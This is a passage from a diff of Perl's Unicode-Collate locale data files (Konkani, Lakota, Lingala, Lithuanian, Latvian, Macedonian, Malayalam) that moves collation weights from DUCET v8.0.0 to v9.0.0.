+2FA02     ; [.3BF5.005B.0002.98E2][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA02
+FA2A      ; [.3BFC.0039.0002.98EF][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2A
+FA2B      ; [.3BFE.005A.0002.98FC][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2B
+FA2C      ; [.3BF5.0030.0002.9928][.3C7C.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2C
+F91A      ; [.3BFA.0027.0002.99F1][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91A
+F987      ; [.3BFA.0030.0002.9A6A][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F987
+FACD      ; [.3C01.004C.0002.9B12][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACD
+2FA0A     ; [.3C01.004C.0002.9B12][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA0A
+F939      ; [.3BFA.002F.0002.9B6F][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F939
+F9F2      ; [.3BFA.0028.0002.9C57][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F2
+FA2D      ; [.3C07.0025.0002.9DB4][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2D
+F93A      ; [.3BFA.0030.0002.9DFA][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93A
+F920      ; [.3BFA.0028.0002.9E1E][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F920
+F940      ; [.3BFA.0026.0002.9E7F][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F940
+F988      ; [.3BFA.0031.0002.9E97][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F988
+F9F3      ; [.3BFA.0029.0002.9E9F][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F3
+2FA15     ; [.3BFB.0028.0002.9EBB][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA15
+F989      ; [.3BFA.0032.0002.9ECE][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F989
+2FA1C     ; [.3BFC.004A.0002.9F3B][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA1C
+F9C4      ; [.3BFA.0021.0002.9F8D][.3C7F.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C4
+FAD9      ; [.3BFA.002E.0002.9F8E][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAD9
+F907      ; [.3BF5.0056.0002.9F9C][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F907
+F908      ; [.3BF5.0056.0002.9F9C][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F908
+FACE      ; [.3BF5.0056.0002.9F9C][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kok.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kok.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kok.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,13 +1,13 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0902      ; [.25CE.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA
-0901      ; [.25CE.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU
-0903      ; [.25CE.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA
-0950      ; [.25CE.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM
-0933      ; [.2611.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA
-0934      ; [.2611.0020.0002][.FFF1.0000.0000][.0000.00BD.0002] # DEVANAGARI LETTER LLLA
-0915 094D 0937 ; [.2611.0020.0002][.FFF2.0000.0000] # <DEVANAGARI LETTER KA, DEVANAGARI SIGN VIRAMA, DEVANAGARI LETTER SSA>
-0939      ; [.2611.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0902      ; [.265B.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA
+0901      ; [.265B.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU
+0903      ; [.265B.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA
+0950      ; [.265B.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM
+0933      ; [.269E.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA
+0934      ; [.269E.0020.0002][.FFF1.0000.0000][.0000.00C2.0002] # DEVANAGARI LETTER LLLA
+0915 094D 0937 ; [.269E.0020.0002][.FFF2.0000.0000] # <DEVANAGARI LETTER KA, DEVANAGARI SIGN VIRAMA, DEVANAGARI LETTER SSA>
+0939      ; [.269E.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA
 ENTRY
 };

Added: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lkt.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lkt.pl	                        (rev 0)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lkt.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,25 @@
++{
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+010D      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+01E7      ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH CARON
+0067 030C ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH CARON
+01E6      ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH CARON
+0047 030C ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH CARON
+021F      ; [.1D19.0020.0002] # LATIN SMALL LETTER H WITH CARON
+0068 030C ; [.1D19.0020.0002] # LATIN SMALL LETTER H WITH CARON
+021E      ; [.1D19.0020.0008] # LATIN CAPITAL LETTER H WITH CARON
+0048 030C ; [.1D19.0020.0008] # LATIN CAPITAL LETTER H WITH CARON
+0161      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+017E      ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D      ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+ENTRY
+};

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ln.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ln.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ln.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,12 +1,12 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-025B      ; [.1C26.0020.0002] # LATIN SMALL LETTER OPEN E
-0190      ; [.1C26.0020.0008] # LATIN CAPITAL LETTER OPEN E
-2107      ; [.1C26.0020.000A] # EULER CONSTANT
-1D4B      ; [.1C26.0020.0014] # MODIFIER LETTER SMALL OPEN E
-0254      ; [.1D58.0021.0002] # LATIN SMALL LETTER OPEN O
-0186      ; [.1D58.0021.0008] # LATIN CAPITAL LETTER OPEN O
-1D53      ; [.1D58.0021.0014] # MODIFIER LETTER SMALL OPEN O
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+025B      ; [.1CAB.0020.0002] # LATIN SMALL LETTER OPEN E
+0190      ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER OPEN E
+2107      ; [.1CAB.0020.000A] # EULER CONSTANT
+1D4B      ; [.1CAB.0020.0014] # MODIFIER LETTER SMALL OPEN E
+0254      ; [.1DDD.0021.0002] # LATIN SMALL LETTER OPEN O
+0186      ; [.1DDD.0021.0008] # LATIN CAPITAL LETTER OPEN O
+1D53      ; [.1DDD.0021.0014] # MODIFIER LETTER SMALL OPEN O
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lt.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lt.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lt.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,48 +1,48 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
 # in cldr test/lt.xml why I-dot-acute > I-dot though i-dot-acute < i-dot ?
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0049 0307 ; [.1CAD.0020.0008][.0000.002E.0002] # <LATIN CAPITAL LETTER I, COMBINING DOT ABOVE>
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0049 0307 ; [.1D32.0020.0008][.0000.002E.0002] # <LATIN CAPITAL LETTER I, COMBINING DOT ABOVE>
 0307 0300 ; [.0000.0025.0002] # <COMBINING DOT ABOVE, COMBINING GRAVE ACCENT>
 0307 0301 ; [.0000.0024.0002] # <COMBINING DOT ABOVE, COMBINING ACUTE ACCENT>
 0307 0303 ; [.0000.002D.0002] # <COMBINING DOT ABOVE, COMBINING TILDE>
-0105      ; [.1BC2.0021.0002] # LATIN SMALL LETTER A WITH OGONEK
-0061 0328 ; [.1BC2.0021.0002] # LATIN SMALL LETTER A WITH OGONEK
-0104      ; [.1BC2.0021.0008] # LATIN CAPITAL LETTER A WITH OGONEK
-0041 0328 ; [.1BC2.0021.0008] # LATIN CAPITAL LETTER A WITH OGONEK
-010D      ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON
-0063 030C ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON
-010C      ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0043 030C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0119      ; [.1C25.0021.0002] # LATIN SMALL LETTER E WITH OGONEK
-0065 0328 ; [.1C25.0021.0002] # LATIN SMALL LETTER E WITH OGONEK
-0118      ; [.1C25.0021.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0045 0328 ; [.1C25.0021.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0117      ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH DOT ABOVE
-0065 0307 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH DOT ABOVE
-0116      ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH DOT ABOVE
-0045 0307 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH DOT ABOVE
-012F      ; [.1CAD.0021.0002] # LATIN SMALL LETTER I WITH OGONEK
-0069 0328 ; [.1CAD.0021.0002] # LATIN SMALL LETTER I WITH OGONEK
-012E      ; [.1CAD.0021.0008] # LATIN CAPITAL LETTER I WITH OGONEK
-0049 0328 ; [.1CAD.0021.0008] # LATIN CAPITAL LETTER I WITH OGONEK
-0079      ; [.1CAD.0022.0002] # LATIN SMALL LETTER Y
-0059      ; [.1CAD.0022.0008] # LATIN CAPITAL LETTER Y
-0161      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0160      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0173      ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH OGONEK
-0075 0328 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH OGONEK
-0172      ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH OGONEK
-0055 0328 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH OGONEK
-016B      ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH MACRON
-0075 0304 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH MACRON
-016A      ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON
-0055 0304 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON
-017E      ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-007A 030C ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-017D      ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
-005A 030C ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+0105      ; [.1C47.0021.0002] # LATIN SMALL LETTER A WITH OGONEK
+0061 0328 ; [.1C47.0021.0002] # LATIN SMALL LETTER A WITH OGONEK
+0104      ; [.1C47.0021.0008] # LATIN CAPITAL LETTER A WITH OGONEK
+0041 0328 ; [.1C47.0021.0008] # LATIN CAPITAL LETTER A WITH OGONEK
+010D      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0119      ; [.1CAA.0021.0002] # LATIN SMALL LETTER E WITH OGONEK
+0065 0328 ; [.1CAA.0021.0002] # LATIN SMALL LETTER E WITH OGONEK
+0118      ; [.1CAA.0021.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0045 0328 ; [.1CAA.0021.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0117      ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH DOT ABOVE
+0065 0307 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH DOT ABOVE
+0116      ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH DOT ABOVE
+0045 0307 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH DOT ABOVE
+012F      ; [.1D32.0021.0002] # LATIN SMALL LETTER I WITH OGONEK
+0069 0328 ; [.1D32.0021.0002] # LATIN SMALL LETTER I WITH OGONEK
+012E      ; [.1D32.0021.0008] # LATIN CAPITAL LETTER I WITH OGONEK
+0049 0328 ; [.1D32.0021.0008] # LATIN CAPITAL LETTER I WITH OGONEK
+0079      ; [.1D32.0022.0002] # LATIN SMALL LETTER Y
+0059      ; [.1D32.0022.0008] # LATIN CAPITAL LETTER Y
+0161      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0173      ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH OGONEK
+0075 0328 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH OGONEK
+0172      ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH OGONEK
+0055 0328 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH OGONEK
+016B      ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH MACRON
+0075 0304 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH MACRON
+016A      ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON
+0055 0304 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON
+017E      ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D      ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lv.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lv.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lv.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,37 +1,37 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-010D      ; [.1C09.0020.0002] # LATIN SMALL LETTER C WITH CARON
-0063 030C ; [.1C09.0020.0002] # LATIN SMALL LETTER C WITH CARON
-010C      ; [.1C09.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0043 030C ; [.1C09.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0123      ; [.1C92.0020.0002] # LATIN SMALL LETTER G WITH CEDILLA
-0067 0327 ; [.1C92.0020.0002] # LATIN SMALL LETTER G WITH CEDILLA
-0122      ; [.1C92.0020.0008] # LATIN CAPITAL LETTER G WITH CEDILLA
-0047 0327 ; [.1C92.0020.0008] # LATIN CAPITAL LETTER G WITH CEDILLA
-0137      ; [.1CF1.0020.0002] # LATIN SMALL LETTER K WITH CEDILLA
-006B 0327 ; [.1CF1.0020.0002] # LATIN SMALL LETTER K WITH CEDILLA
-0136      ; [.1CF1.0020.0008] # LATIN CAPITAL LETTER K WITH CEDILLA
-004B 0327 ; [.1CF1.0020.0008] # LATIN CAPITAL LETTER K WITH CEDILLA
-013C      ; [.1D24.0020.0002] # LATIN SMALL LETTER L WITH CEDILLA
-006C 0327 ; [.1D24.0020.0002] # LATIN SMALL LETTER L WITH CEDILLA
-013B      ; [.1D24.0020.0008] # LATIN CAPITAL LETTER L WITH CEDILLA
-004C 0327 ; [.1D24.0020.0008] # LATIN CAPITAL LETTER L WITH CEDILLA
-0146      ; [.1D57.0020.0002] # LATIN SMALL LETTER N WITH CEDILLA
-006E 0327 ; [.1D57.0020.0002] # LATIN SMALL LETTER N WITH CEDILLA
-0145      ; [.1D57.0020.0008] # LATIN CAPITAL LETTER N WITH CEDILLA
-004E 0327 ; [.1D57.0020.0008] # LATIN CAPITAL LETTER N WITH CEDILLA
-0157      ; [.1DEB.0020.0002] # LATIN SMALL LETTER R WITH CEDILLA
-0072 0327 ; [.1DEB.0020.0002] # LATIN SMALL LETTER R WITH CEDILLA
-0156      ; [.1DEB.0020.0008] # LATIN CAPITAL LETTER R WITH CEDILLA
-0052 0327 ; [.1DEB.0020.0008] # LATIN CAPITAL LETTER R WITH CEDILLA
-0161      ; [.1E0F.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0073 030C ; [.1E0F.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0160      ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0053 030C ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-017E      ; [.1EB8.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-007A 030C ; [.1EB8.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-017D      ; [.1EB8.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
-005A 030C ; [.1EB8.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+010D      ; [.1C8E.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C8E.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C      ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0123      ; [.1D17.0020.0002] # LATIN SMALL LETTER G WITH CEDILLA
+0067 0327 ; [.1D17.0020.0002] # LATIN SMALL LETTER G WITH CEDILLA
+0122      ; [.1D17.0020.0008] # LATIN CAPITAL LETTER G WITH CEDILLA
+0047 0327 ; [.1D17.0020.0008] # LATIN CAPITAL LETTER G WITH CEDILLA
+0137      ; [.1D76.0020.0002] # LATIN SMALL LETTER K WITH CEDILLA
+006B 0327 ; [.1D76.0020.0002] # LATIN SMALL LETTER K WITH CEDILLA
+0136      ; [.1D76.0020.0008] # LATIN CAPITAL LETTER K WITH CEDILLA
+004B 0327 ; [.1D76.0020.0008] # LATIN CAPITAL LETTER K WITH CEDILLA
+013C      ; [.1DA9.0020.0002] # LATIN SMALL LETTER L WITH CEDILLA
+006C 0327 ; [.1DA9.0020.0002] # LATIN SMALL LETTER L WITH CEDILLA
+013B      ; [.1DA9.0020.0008] # LATIN CAPITAL LETTER L WITH CEDILLA
+004C 0327 ; [.1DA9.0020.0008] # LATIN CAPITAL LETTER L WITH CEDILLA
+0146      ; [.1DDC.0020.0002] # LATIN SMALL LETTER N WITH CEDILLA
+006E 0327 ; [.1DDC.0020.0002] # LATIN SMALL LETTER N WITH CEDILLA
+0145      ; [.1DDC.0020.0008] # LATIN CAPITAL LETTER N WITH CEDILLA
+004E 0327 ; [.1DDC.0020.0008] # LATIN CAPITAL LETTER N WITH CEDILLA
+0157      ; [.1E70.0020.0002] # LATIN SMALL LETTER R WITH CEDILLA
+0072 0327 ; [.1E70.0020.0002] # LATIN SMALL LETTER R WITH CEDILLA
+0156      ; [.1E70.0020.0008] # LATIN CAPITAL LETTER R WITH CEDILLA
+0052 0327 ; [.1E70.0020.0008] # LATIN CAPITAL LETTER R WITH CEDILLA
+0161      ; [.1E94.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E94.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E94.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E94.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+017E      ; [.1F3D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F3D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D      ; [.1F3D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F3D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mk.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mk.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mk.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,20 +1,20 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    suppress => [0x0418, 0x0438],
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0453      ; [.1FD1.0020.0002] # CYRILLIC SMALL LETTER GJE
-0433 0301 ; [.1FD1.0020.0002] # CYRILLIC SMALL LETTER GJE
-0433 0341 ; [.1FD1.0020.0002] # CYRILLIC SMALL LETTER GJE
-0403      ; [.1FD1.0020.0008] # CYRILLIC CAPITAL LETTER GJE
-0413 0301 ; [.1FD1.0020.0008] # CYRILLIC CAPITAL LETTER GJE
-0413 0341 ; [.1FD1.0020.0008] # CYRILLIC CAPITAL LETTER GJE
-045C      ; [.2095.0020.0002] # CYRILLIC SMALL LETTER KJE
-043A 0301 ; [.2095.0020.0002] # CYRILLIC SMALL LETTER KJE
-043A 0341 ; [.2095.0020.0002] # CYRILLIC SMALL LETTER KJE
-040C      ; [.2095.0020.0008] # CYRILLIC CAPITAL LETTER KJE
-041A 0301 ; [.2095.0020.0008] # CYRILLIC CAPITAL LETTER KJE
-041A 0341 ; [.2095.0020.0008] # CYRILLIC CAPITAL LETTER KJE
-0439      ; [.1FFB.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT I
-0419      ; [.1FFB.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT I
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0453      ; [.2056.0020.0002] # CYRILLIC SMALL LETTER GJE
+0433 0301 ; [.2056.0020.0002] # CYRILLIC SMALL LETTER GJE
+0433 0341 ; [.2056.0020.0002] # CYRILLIC SMALL LETTER GJE
+0403      ; [.2056.0020.0008] # CYRILLIC CAPITAL LETTER GJE
+0413 0301 ; [.2056.0020.0008] # CYRILLIC CAPITAL LETTER GJE
+0413 0341 ; [.2056.0020.0008] # CYRILLIC CAPITAL LETTER GJE
+045C      ; [.211A.0020.0002] # CYRILLIC SMALL LETTER KJE
+043A 0301 ; [.211A.0020.0002] # CYRILLIC SMALL LETTER KJE
+043A 0341 ; [.211A.0020.0002] # CYRILLIC SMALL LETTER KJE
+040C      ; [.211A.0020.0008] # CYRILLIC CAPITAL LETTER KJE
+041A 0301 ; [.211A.0020.0008] # CYRILLIC CAPITAL LETTER KJE
+041A 0341 ; [.211A.0020.0008] # CYRILLIC CAPITAL LETTER KJE
+0439      ; [.2080.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT I
+0419      ; [.2080.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT I
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ml.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ml.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ml.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,23 +1,23 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0D3D      ; [.0000.00C1.0002] # MALAYALAM SIGN AVAGRAHA
-0D57      ; [.283F.0020.0002] # MALAYALAM AU LENGTH MARK
-0D4C      ; [.283F.0020.0003] # MALAYALAM VOWEL SIGN AU
-0D46 0D57 ; [.283F.0020.0003] # MALAYALAM VOWEL SIGN AU
-0D15 0D4D 200D ; [.280A.0020.0002][.2841.0021.0002] # <MALAYALAM LETTER KA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
-0D7F      ; [.280A.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU K
-0D23 0D4D 200D ; [.2818.0020.0002][.2841.0021.0002] # <MALAYALAM LETTER NNA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
-0D7A      ; [.2818.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU NN
-0D28 0D4D 200D ; [.281D.0020.0002][.2841.0021.0002] # <MALAYALAM LETTER NA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
-0D7B      ; [.281D.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU N
-0D30 0D4D 200D ; [.2825.0020.0002][.2841.0021.0002] # <MALAYALAM LETTER RA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
-0D7C      ; [.2825.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU RR
-0D32 0D4D 200D ; [.2826.0020.0002][.2841.0021.0002] # <MALAYALAM LETTER LA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
-0D7D      ; [.2826.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU L
-0D33 0D4D 200D ; [.282C.0020.0002][.2841.0021.0002] # <MALAYALAM LETTER LLA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
-0D7E      ; [.282C.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU LL
-0D02      ; [.2823.0020.0002][.2841.0021.0002] # MALAYALAM SIGN ANUSVARA
-0D7B 0D4D ; [.281D.0020.0002][.2841.0020.0003] # <MALAYALAM LETTER CHILLU N, MALAYALAM SIGN VIRAMA>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0D3D      ; [.0000.00C6.0002] # MALAYALAM SIGN AVAGRAHA
+0D57      ; [.28CD.0020.0002] # MALAYALAM AU LENGTH MARK
+0D4C      ; [.28CD.0020.0003] # MALAYALAM VOWEL SIGN AU
+0D46 0D57 ; [.28CD.0020.0003] # MALAYALAM VOWEL SIGN AU
+0D15 0D4D 200D ; [.2898.0020.0002][.28CF.0021.0002] # <MALAYALAM LETTER KA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
+0D7F      ; [.2898.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU K
+0D23 0D4D 200D ; [.28A6.0020.0002][.28CF.0021.0002] # <MALAYALAM LETTER NNA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
+0D7A      ; [.28A6.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU NN
